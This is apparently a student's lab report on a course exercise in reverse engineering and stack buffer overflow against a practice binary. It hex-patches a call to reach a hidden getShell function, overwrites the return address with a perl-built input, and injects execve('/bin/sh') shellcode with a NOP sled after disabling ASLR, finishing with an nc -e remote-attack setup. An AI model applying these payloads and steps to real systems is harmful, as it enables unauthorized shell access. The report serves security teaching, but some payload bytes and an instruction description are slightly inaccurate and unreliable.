代码改变世界

exp1 逆向与Bof基础实验报告

2022-03-23 22:23  陈冠昊  阅读(122)  评论(0编辑  收藏  举报

基础知识

NOP, JNE, JE, JMP, CMP汇编指令的机器码:

  • NOP即“空指令”,执行到NOP指令时,CPU什么也不做,机器码是90。
  • JNE为条件转移指令,如果不相等则跳转。机器码是75。(Jump Not Equal)
  • JE为条件转移指令,相等则跳转。机器码是74.(Jump Equal)
  • JMP为无条件转移指令。在段内直接短转Jmp short,机器码是EB; 段内直接近转移Jmp near,机器码是E9; 段内间接转移 Jmp word,机器码是FF; 段间直接(远)转移Jmp far,机器码是EA
  • CMP比较指令,功能相当于减法指令,只是对操作数之间运算比较,不保存结果。

一、逆向及Bof基础实践说明

实践目标

  本次实践的对象是一个名为pwn1的linux可执行文件。
  该程序正常执行流程是:main调用foo函数,foo函数会简单回显任何用户输入的字符串。
  该程序同时包含另一个代码片段,getShell,会返回一个可用Shell。正常情况下这个代码是不会被运行的。我们实践的目标就是想办法运行这个代码片段。我们将学习两种方法运行这个代码片段,然后学习如何注入运行任何Shellcode。

三个实践内容如下:

  • 手工修改可执行文件,改变程序执行流程,直接跳转到getShell函数。
  • 利用foo函数的Bof漏洞,构造一个攻击输入字符串,覆盖返回地址,触发getShell函数。
  • 注入一个自己制作的shellcode并运行这段shellcode。

这几种思路,基本代表现实情况中的攻击目标:

  • 运行原本不可访问的代码片段
  • 强行修改程序执行流
  • 以及注入运行任意代码。

二、直接修改程序机器指令,改变程序执行流程

使用objdump -d pwn20191319 | more对pwn20191319进行反汇编

可以看到,程序在80484b5这个位置调用了foo函数。
机器指令中e8对应在段内直接短转Jmp short。
机器执行下一条指令的地址都保存在eip寄存器中,如果没有调用函数那么eip寄存器中的值应该为80484ba,但是调用了foo函数则eip寄存器中的值应该修改:(为下一条指令的地址+e8之后的值)。
所以根据上述条件,我们可以用16进制计算器去验证。
即:80484ba + d7ffffff = 80484ba-29 = 8048491
我们想让它调用getShell,只要修改“d7ffffff”为,"getShell-80484ba"对应的补码就行。
image
已知 getShell 函数位于 804847d。
即:d7fffff 应该被修改的值=0x7d - 0xba = -0x3d = 0xc3(补码转换)
然后复制pwn20191319为20191319,利用vi编辑器打开20191319,再使用命令:%!xxd 以利于观看的十六进制显示方式,再用/e8 d7命令找到d7所在位置,修改d7为C3。再使用命令:%!xxd -r变回原格式。
再次反汇编查看更改是否正确。
image
确认正确后并运行。
image

三、通过构造输入参数,造成BOF攻击,改变程序的执行流

使用指令objdump -d pwn20191319 | more来观察foo函数可以看到:存在一段功能为读入和输出的语句。
image
但实际上,foo函数只给这段字符串预留了一个28字节的缓冲区(即0x1c),也就是说存在所谓的 Buffer overflow 漏洞。所以我们可以构造一个较长的输入来覆盖到返回地址。
下图可以看到当输入的为1111111122222222333333334444444455555555时,eip的值为0x35353535也就是5555的ASCII码。
image
当输入为1111111122222222333333334444444412345678时,eip的值为0x34333231也就是1234的ASCII码。
image
根据我们输入字符的顺序是1234 而被覆盖的地址的顺序是4321。
故为使返回地址指向 0804847d 处的 getShell 函数,需要构造字符串:11111111222222223333333344444444\x7d\x84\x04\x08。
又由于我们没法用键盘输入这样的16进制 所以我们使用以下指令:

perl -e 'print "11111111222222223333333344444444\x7d\x84\x04\x08\x0a"' > input

生成一个包含这些16进制内容的文件
验证以下内容是否正确:
image
然后将input的输入,通过管道符“|”,作为pwn20191319的输入。
image

四、注入Shellcode并执行

此实验中,我们使用老师已经为我们准备好的shellcode。

\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80\

首先,修改相关配置
image

execstack -s pwn1    //设置堆栈可执行
execstack -q pwn1    //查询文件的堆栈是否可执行
sudo bash -c "echo 0 > /proc/sys/kernel/randomize_va_space"//关闭地址随机化

构造要注入的payload。

Linux下有两种基本构造攻击buf的方法:

  • retaddr+nop+shellcode
  • nop+shellcode+retaddr

因为retaddr在缓冲区的位置是固定的,shellcode要不在它前面,要不在它后面。
简单说缓冲区小就把shellcode放后边,缓冲区大就把shellcode放前边
我们这个buf够放这个shellcode了
结构为:anything+nops+shellcode+retaddr
nop一为是了填充,二是作为“着陆区/滑行区”。
我们猜的返回地址只要落在任何一个nop上,自然会滑到我们的shellcode。
接下来注入一段代码,我们使用以下指令构造一个input_shellcode

perl -e 'print "\x90\x90\x90\x90\x90\x90\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80\x90\x4\x3\x2\x1\x00"' > input_shellcode

在该窗口运行指令

(cat input_shellcode;cat) | ./pwn20191319

再开另外一个终端,用gdb来调试pwn20191319这个进程。
image
再设置断点,来查看注入buf的内存地址

disassemble foo
break *0x080484ae

查看esp寄存器的地址

info r esp

以16进制形式查看0xffffd13c地址(从这开始就是Shellcode)后面16字节的内容

x/16x 0xffffd13c

image
从上图可知,返回地址应改为0xffffd140,也就是0x90909090的位置,即0xffffd13c + 0x00000004 = 0xffffd140。01020304的位置,就是返回地址的位置。shellcode就挨着,所以是0xffffd160。然后退出gdb。
修改注入代码

\x60\xd1\xff\xff\x90\x90\x90\x90\x90\x90\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80\x90\x40\xd1\xff\xff\x00

然后就成功了:
image

结合nc模拟远程攻击

主机1,模拟一个有漏洞的网络服务:
image
-l 表示listen, -p 后加端口号 -e 后加可执行文件,网络上接收的数据将作为这个程序的输入
主机2,连接主机1并发送攻击载荷:
image